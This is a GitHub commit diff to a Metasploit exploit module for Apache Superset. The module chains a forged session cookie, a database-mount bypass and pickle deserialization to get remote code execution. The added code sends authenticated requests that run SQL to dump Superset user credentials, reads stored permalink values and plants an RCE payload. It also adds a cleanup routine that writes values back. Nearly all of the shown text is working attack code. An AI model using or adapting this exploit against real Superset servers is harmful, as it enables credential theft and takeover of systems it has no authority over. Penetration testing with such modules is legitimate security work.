Skip to content

Commit

Permalink
still working on resetting values
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die committed Sep 14, 2023
1 parent 619a46d commit 0c418fd
Showing 1 changed file with 97 additions and 14 deletions.
111 changes: 97 additions & 14 deletions modules/exploits/linux/http/apache_superset_cookie_sig_rce.rb
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@ def initialize(info = {})
['EDB', '51447'],
['CVE', '2023-27524'], # flask cookie
['CVE', '2023-37941'], # rce
['CVE', '2023_39265'] # mount superset's internal database
['CVE', '2023-39265'] # mount superset's internal database
],
'Platform' => ['python'],
'Privileged' => false,
Expand Down Expand Up @@ -177,9 +177,9 @@ def login_and_priv_esc

def set_query_latest_query_id
vprint_status('Setting latest query id')
client_id = Rex::Text.rand_text_alphanumeric(8, 12)
@client_id = Rex::Text.rand_text_alphanumeric(8, 12)
data = Rex::MIME::Message.new
data.add_part('"' + client_id + '"', nil, nil, 'form-data; name="latest_query_id"')
data.add_part('"' + @client_id + '"', nil, nil, 'form-data; name="latest_query_id"')

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'tabstateview', @tab_id),
Expand All @@ -194,8 +194,6 @@ def set_query_latest_query_id
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200

client_id
end

def transform_hash(hash)
Expand Down Expand Up @@ -231,7 +229,7 @@ def transform_hash(hash)
jtr_password
end

def cve_2023_39265
def mount_internal_database
# use cve-2023-39265 bypass to mount superset's internal sqlite db
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database/'),
Expand Down Expand Up @@ -303,7 +301,7 @@ def cve_2023_39265
print_good("Using tab: #{@tab_id}")

# tell it we're about to submit a new query
client_id = set_query_latest_query_id
set_query_latest_query_id

# harvest creds
vprint_status('Harvesting superset user creds')
Expand All @@ -318,7 +316,7 @@ def cve_2023_39265
'X-CSRFToken' => @csrf_token
},
'data' => {
'client_id' => client_id,
'client_id' => @client_id,
'database_id' => @db_id,
'json' => true,
'runAsync' => false,
Expand Down Expand Up @@ -371,7 +369,7 @@ def cve_2023_39265
print_good(creds_table.to_s)
end

def cve_2023_37941
def rce_implant
# create new dashboard
vprint_status('Creating new dashboard')
res = send_request_cgi(
Expand Down Expand Up @@ -408,8 +406,53 @@ def cve_2023_37941
permalink_key = res.get_json_document['key']
print_good("Dashboard permalink key: #{permalink_key}")

# grab the default values so we can unset them later
vprint_status('Grabbing values to reset later')
set_query_latest_query_id
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),
'method' => 'POST',
'cookie' => "session=#{@admin_cookie};",
'keep_cookies' => true,
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json',
'X-CSRFToken' => @csrf_token
},
'data' => {
'client_id' => @client_id,
'database_id' => @db_id,
'json' => true,
'runAsync' => false,
'schema' => 'main',
'sql' => "SELECT id,value from key_value where resource='dashboard_permalink';",
'sql_editor_id' => '1',
'tab' => 'Untitled Query 1',
'tmp_table_name' => '',
'select_as_cta' => false,
'ctas_method' => 'TABLE',
'queryLimit' => 1000,
'expand_data' => true
}.to_json
)

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200

# in the GUI we would get [bytes] (even in the JSON response) so this isn't very convenient. We can use the CSV
# output to grab the correct values.
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'superset', 'csv', @client_id),
'cookie' => "session=#{@admin_cookie};",
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200

@values_to_reset = CSV.parse(res.body)

# tell it we're about to submit a new query
client_id = set_query_latest_query_id
set_query_latest_query_id

# Here's the python of the payload pickle generator
# import pickle
Expand Down Expand Up @@ -445,7 +488,7 @@ def cve_2023_37941
'X-CSRFToken' => @csrf_token
},
'data' => {
'client_id' => client_id,
'client_id' => @client_id,
'database_id' => @db_id,
'json' => true,
'runAsync' => false,
Expand Down Expand Up @@ -480,6 +523,7 @@ def cve_2023_37941
end

# 404 error and we win.
# log item: 172.17.0.1 - - [14/Sep/2023:17:37:25 +0000] "GET /superset/dashboard/p/MzABePa5XYd/ HTTP/1.1" 404 38 "-" "Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1"
end

def exploit
Expand All @@ -493,14 +537,53 @@ def exploit
vprint_status('Attempting login')
login_and_priv_esc
vprint_status('Attempting to pull user creds from db')
cve_2023_39265
mount_internal_database
vprint_status('Attempting RCE')
cve_2023_37941
rce_implant
end

def cleanup
super
# unset keyvalue, prob can't do.... but maybe we just blank it out XXX

# We didn't know the previous values, so just blank out
unless (@client_id.nil? || @csrf_token.nil? || @db_id.nil? || @values_to_reset.nil?)
print_status('Unsetting RCE Payload')
@values_to_reset.each do |row|
next if row[0] == 'id' # headers

set_query_latest_query_id
puts row[0]
puts row[1]
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),
'method' => 'POST',
'cookie' => "session=#{@admin_cookie};",
'keep_cookies' => true,
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json',
'X-CSRFToken' => @csrf_token
},
'data' => {
'client_id' => @client_id,
'database_id' => @db_id,
'json' => true,
'runAsync' => false,
'schema' => 'main',
'sql' => "UPDATE key_value set value='#{row[1]}' where id='#{row[0]}';",
'sql_editor_id' => '1',
'tab' => 'Untitled Query 1',
'tmp_table_name' => '',
'select_as_cta' => false,
'ctas_method' => 'TABLE',
'queryLimit' => 1000,
'expand_data' => true
}.to_json
)
end
end

return # XXX remove me
# delete dashboard
unless @dashboard_id.nil?
print_status('Deleting dashboard')
Expand Down

0 comments on commit 0c418fd

Please sign in to comment.